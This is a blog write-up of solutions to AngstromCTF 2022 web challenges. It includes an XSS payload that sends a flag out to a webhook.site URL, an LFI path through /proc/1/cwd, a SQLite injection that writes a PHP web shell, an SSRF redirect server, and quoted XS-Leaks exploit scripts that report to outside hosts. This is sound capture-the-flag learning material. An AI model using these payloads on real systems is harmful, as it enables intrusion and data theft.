Home AngstromCTF 2022
Post
Cancel
AngstromCTF2022 logo

AngstromCTF 2022

My solution for some web challenges in this competition

The Flash

Use DOM breakpoints in Chrome devtools, right click on p tag and chose Break on -> subtree modifications then step over to get flag

actf{sp33dy_l1ke_th3_fl4sh}


Auth Skip

set cookie: user=admin

actf{passwordless_authentication_is_the_new_hip_thing}


crumbs

exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import re

TARGET = "https://crumbs.web.actf.co/"

s = requests.Session()
next = ""
for i in range(1002):
    r = s.get(TARGET + next)
    if i == 1001:
        print(r.text)
        break
    next = re.search(r"Go to (.*)", r.text).group(1)
    print(next)

actf{w4ke_up_to_th3_m0on_6bdc10d7c6d5}


Xtra Salty Sardines

Pay attention to the flowing lines:

1
2
3
4
5
6
const name = req.body.name
    .replace("&", "&")
    .replace('"', """)
    .replace("'", "'")
    .replace("<", "&lt;")
    .replace(">", "&gt;");

I abuse that:

The replace() method returns a new string with some or all matches of a pattern replaced by a replacement. The pattern can be a string or a RegExp, and the replacement can be a string or a function called for each match. If pattern is a string, only the first occurrence will be replaced.

Payload:

1
'<></h1><script>var x = new XMLHttpRequest;x = open('GET', '/flag'); x.onload = function() {navigator.sendBeacon('https://webhook.site/8771a7aa-4464-438a-84ac-7311eae5bd87', this.responseText)}; x.send();</script>

actf{those_sardines_are_yummy_yummy_in_my_tummy}


School unblocker

Use this.

Exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const express = require('express')

const app = express();
const port = Number(process.env.PORT) || 8888;


app.post("/", (req, res) => {

    res.redirect(307, "http://127.0.0.1:8080/flag")

});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

actf{dont_authenticate_via_ip_please}


LFI in member parameter.

Noted that /proc/1/cwd/ point to the current working directory in the docker container.

Send the following payload to fetch Dockerfile.

1
https://art-gallery.web.actf.co/gallery/?member=../../../../proc/1/cwd/Dockerfile

Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
FROM node:17-bullseye-slim

WORKDIR /app
COPY . .
RUN mv git .git
RUN npm ci

ENV PORT=8080

EXPOSE 8080

CMD ["node", "index.js"]

The next step is to exploit the .git folder using GitHacker.

After fetching all sources, use git log to check log commit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌─[nguyen@parrot]─[~/LearningSpace/test/result/ec42c41d9bc611be9e22c4092e4828d0]
└──╼ $git log
commit 1c584170fb33ae17a63e22456f19601efb1f23db (HEAD, origin/master, origin/HEAD, master)
Author: imposter <sus@aplet.me>
Date:   Tue Apr 26 21:47:45 2022 -0400

    bury secrets

commit 713a4aba8af38c9507ced6ea41f602b105ca4101
Author: imposter <sus@aplet.me>
Date:   Tue Apr 26 21:44:48 2022 -0400

    remove vital secrets

commit 56449caeb7973b88f20d67b4c343cbb895aa6bc7
Author: imposter <sus@aplet.me>
Date:   Tue Apr 26 21:44:01 2022 -0400

    add program

git checkout to check a commit.

1
2
3
4
5
6
7
8
9
10
─[✗]─[nguyen@parrot]─[~/LearningSpace/test/result/ec42c41d9bc611be9e22c4092e4828d0]
└──╼ $git checkout 56449caeb7973b88f20d67b4c343cbb895aa6bc7
Previous HEAD position was 1c58417 bury secrets
HEAD is now at 56449ca add program
┌─[nguyen@parrot]─[~/LearningSpace/test/result/ec42c41d9bc611be9e22c4092e4828d0]
└──╼ $ls
error.html  flag.txt  images  index.html  index.js  package.json  package-lock.json
┌─[nguyen@parrot]─[~/LearningSpace/test/result/ec42c41d9bc611be9e22c4092e4828d0]
└──╼ $cat flag.txt 
actf{lfi_me_alone_and_git_out_341n4kaf5u59v}

actf{lfi_me_alone_and_git_out_341n4kaf5u59v}


Secure Vault

Create an account: bla:bla then save the token value (jwt of bla account) after that Delete account. Then set the cookie value with token:<jwt token of bla account> -> return flag.

The reason why it works is due to the following two lines in index.js:

1
2
const user = users.get(res.locals.user.uid);
res.type("text/plain").send(user.restricted ? user.vault : flag);

if we send an old jwt, then user={} and user.restricted=undefined (because it has been already deleted from UserStore).

actf{is_this_what_uaf_is}


NoFlags

Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
FROM php:8.1.5-apache-bullseye

COPY printflag /printflag
RUN chmod 111 /printflag
COPY src /var/www/html


RUN chown -R root:root /var/www/html && chmod -R 555 /var/www/html        
RUN mkdir /var/www/html/abyss &&\
    chown -R root:root /var/www/html/abyss &&\
    chmod -R 333 abyss

EXPOSE 80

From this file, i figure out following things:

  • printflag a file with only-executable permission that used to print flag
  • /var/www/html: readable and executable permission
  • /var/www/html/abyss: writable and executable permission

=> The target to achieve is RCE using sqlite injection.

Read more from here.

payload:

1
');ATTACH DATABASE '/var/www/html/abyss/exp.php' AS exp;CREATE TABLE exp.pwn (dataz text);INSERT INTO exp.pwn (dataz) VALUES ('<?system($_GET["cmd"]); ?>');--

Result:

flag flag


Sustenance

I had worked in this challenge for 3 days, searching, trying, playing around with it but i couldn’t come up with a solution. So i will write what i have learned from orther people’s writeups 😗 .

Overview:

overview overview

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
const express = require("express");
const cookieParser = require("cookie-parser");
const path = require("path");

const app = express();
app.use(express.urlencoded({ extended: false }));

// environment config
const port = Number(process.env.PORT) || 8080;
const adminSecret = process.env.ADMIN_SECRET || "secretpw";
const flag =
    process.env.FLAG ||
    "actf{someone_is_going_to_submit_this_out_of_desperation}";

function queryMiddleware(req, res, next) {
    res.locals.search =
        req.cookies.search || "the quick brown fox jumps over the lazy dog";
    // admin is a cool kid
    if (req.cookies.admin === adminSecret) {
        res.locals.search = flag;
    }
    next();
}

app.use(cookieParser());

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.post("/s", (req, res) => {
    if (req.body.search) {
        for (const [name, val] of Object.entries(req.body)) {
            res.cookie(name, val, { httpOnly: true });
        }
    }
    res.redirect("/");
});

app.get("/q", queryMiddleware, (req, res) => {
    const query = req.query.q || "h"; // h
    let status;
    if (res.locals.search.includes(query)) {
        status =
            "succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
    } else {
        status = "failed";
    }
    res.redirect(
        "/?m=" +
        encodeURIComponent(
            `your search that took place at ${Date.now()} has ${status}`
        )
    );
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

Working flow:

  • Set search string functionality sets the “search string” and placed it in your cookie.
  • Search string functionality return the status (succeeded/failed) whether the “search string” (stored in cookie) includes the string in q - GET parameter.

From those things, we can obviously figure out that it is kind of XS-Leaks challenge.

There are 2 approach for solving the challenge: Cookie bomb and Cache probing attack.

The idea and solution came from Strellic and it is also the intended solution.

For anyone who don’t know about this attack technique, this blog will be a good reference.

We have already known that the server stored the string (if the user is admin, it will be the flag) in cookie and the response’s length in two case is difference (the successful one is longer than another). So if we make the search string very long but controling it to be just barely under the maximum of request header size then we can use the cookie bomb attack to trigger error-event with a view to figuring out whether it was successful or not.

But there is still one problem we have to deal with. As you can see, SameSite has not been explicitly specified, the cookie will be treated as SameSite=Lax so that we can’t make the admin bot visit our page and send a lot of cookie because the “Lax” cookie can just be sent by those ways and it have to obey the samesite rule. And @Strellic’s trick solved the problem. He used the XSS vulnerability from Xtra Salty Sardines challenge to exploit. Both https://sustenance.web.actf.co/ and https://xtra-salty-sardines.web.actf.co/ were treated as same site because of having the same eTLD+1 - actf.co.

Here is his exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
    <script>
        const $ = document.querySelector.bind(document);
        const sleep = (ms) => new Promise(r => setTimeout(r, ms));
        let i = 0;
        const stuff = async(len = 3500) => {
            let name = Math.random();
            $("form").target = name;
            let w = window.open('', name);
            $("#f").value = "_".repeat(len);
            $("#f").name = i++;
            $("form").submit();
            await sleep(100);
        };
        const isError = async(url) => {
            return new Promise(r => {
                let script = document.createElement('script');
                script.src = url;
                script.onload = () => r(false);
                script.onerror = () => r(true);
                document.head.appendChild(script);
            });
        }
        const search = (query) => {
            return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
        };
        const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
        const url = "//webhook.site/fe29ff9f-908c-4508-9bbd-14848cf2c3f8";
        let known = "actf{";
        window.onload = async() => {
            navigator.sendBeacon(url + "?load");
            await Promise.all([stuff(), stuff(), stuff(), stuff()]);
            await stuff(1600);

            navigator.sendBeacon(url + "?go");
            while (true) {
                for (let c of alphabet) {
                    let query = known + c;
                    if (await search(query)) {
                        navigator.sendBeacon(url, query);
                        known += c;
                        break;
                    }
                }
            }
        };
    </script>

Promise.all() was used to increase the cookie’s size slowly because sending tons of cookie in one request will get a 502 Bad Gateway status.

One thing @Strellic didn’t indicate in his solution is the maximum size of request header. Using Burp Suite i noted that remote server used HTTP/2 module and nginx as web server. After spending a couple of minutes on searching, i came across this site. According to it, the maxium size is 16k in default so we can adjust the len in stuff() to make it barely under the limit.

Send payload:

send payload payload

Result: result result

Cache probing

After reading and trying a lot of exploit techniques in xs-leak wiki, I finally thought about cache probing. But in the end i think it is too complicated so i decide to skip it and wait for the writeup 😔.

You can read the original writeup from this and this blog.

The idea is to abuse the cache, if the returned response is “succeeded” then it will be cache with the cache key ...?m=your search that took place at <Date.now()> has succed ... require sustenance so we can use fetch with cache: 'force-cache' and bruteforce the Date.now() value to measure the response’s time. If the time is small than the “base time” than it is likely that the flag contains the current bruteforcing character.

Assuming that cache partitioning worked

There is still one problem we have to come over. Now, Chrome will partition its HTTP cache starting in Chrome 86 (Gaining security and privacy by partitioning the cache).

With cache partitioning, cached resources will be keyed using a new “Network Isolation Key” in addition to the resource URL. The Network Isolation Key is composed of the top-level site and the current-frame site.

So if you plan to place your exploit script in a page (for example it is hosted by ngrok), the cache key will be (https://id.ngrok.io, https://id.ngrok.io, https://sustenance.web.actf.co/?m=...) but the expected cache key should be (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =...) in order to make the cache shareable. By using the Strellic’s trick above, we can easily solve the problem. Beside, the cookie attribute is SameSite=Lax (explained above) so we have to use window.open for top-level navigations ortherwise the cookie won’t be sent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
!<>"';
<script>
// to hang the connection
fetch('https://deelay.me/20000/https://example.com')

// NOTE: we will calculate this baseline before doing the attack
var baseLine = 3.2
const sleep = ms => new Promise((resolve) => setTimeout(resolve, ms))

go()
async function go() {
  await calculateBaseline()
  main()

  async function calculateBaseline() {
    var m = Math.random()
    let win = window.open('https://sustenance.web.actf.co/?m=cached_' + m)
    
    // NOTE: this number can be decreased by detecting window load
    await sleep(500)
    win.close()
    let total = 0
    for(let i=1; i<=5; i++) {
      let ts = await getLoadTime('https://sustenance.web.actf.co/?m=cached_' + m)
      total += ts
      report(`Cached time, round: ${i}, ${ts}ms`)
    }
    // NOTE: 0.5 is just a random guess
    baseLine = (total/5) + 0.5
    report(`Baseline: ${baseLine}`)
    
    // NOTE: adjust baseline, should not be more than 3 ms based on previous testing
    if (baseLine > 3) {
      baseLine = 3
    }
    for(let i=1; i<=3; i++) {
      let ts = await getLoadTime('https://sustenance.web.actf.co/?m=not_cached_' + m)
      report(`Not Cached time, round: ${i}, ${ts}ms`)
    }
  }

  // NOTE: server is quite fast so no need to set timeout
  async function getLoadTime(url) {
    const start = performance.now()
    await fetch(url, { cache: 'force-cache', mode: 'no-cors' })
    return performance.now() - start
  }

  // function to bruteforce the successful search
  function genSucceedUrl(t) {
    let ft = t + ''
    while(ft.length < 13) {
      ft += '0'
    }
    const status = "succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
    return 'https://sustenance.web.actf.co/?m=' + encodeURIComponent(`your search that took place at ${ft} has ${status}`);
  }


  async function isCached(str) {
    let start = +new Date()
    let win = window.open(`https://sustenance.web.actf.co/q?q=` + encodeURIComponent(str))
    await sleep(500)
    win.close()
    
    // NOTE: base on the data collected, i should be 1~20, pretty small number
    for(let i=1; i<=30; i++) {
      const url = genSucceedUrl(start + i)
      let loadTime = await getLoadTime(url)
      if (loadTime <= baseLine) {
        
        // NOTE: check again to see if it really meets the condition
        let total = 0
        for(let j=1; j<=3; j++) {
          total += await getLoadTime(url)
        }
        total/=3
        if (total <= baseLine) {
          report(`isCached success, str=${str}, i=${i}, start=${start}, total=${total}`)
          return true
        }
      }
    }
    return false
  }

  async function main() {
    let flag = 'actf{yummy_'
    
    // NOTE: we can leak the charset first to speed up the process
    let chars = 'acefsmntuy_}'.split('')
    while(flag[flag.length - 1] !== '}') {
      for(let char of chars) {
        report('trying:'  + flag + char)
        if (await isCached(flag + char)) {
          flag += char
          report('flag:' + flag)
          break
        }
      }
    }
  }

  async function report(data) {
    console.log(data)
    // TODO: change to your VPS
    return fetch('https://YOUR_VPS/', { method: 'POST', body: data, mode: 'no-cors' }).catch(err => err);
  }
}
</script>

There is no cache partitioning

Some people find out the fact that cache partitioning didn’t work in headless chrome (this one is an example).

So you can use the previous script on your page, host it by ngrok and submit this url to admin.

This post is licensed under CC BY 4.0 by the author.

NahamconCTF 2022

San Diego CTF 2022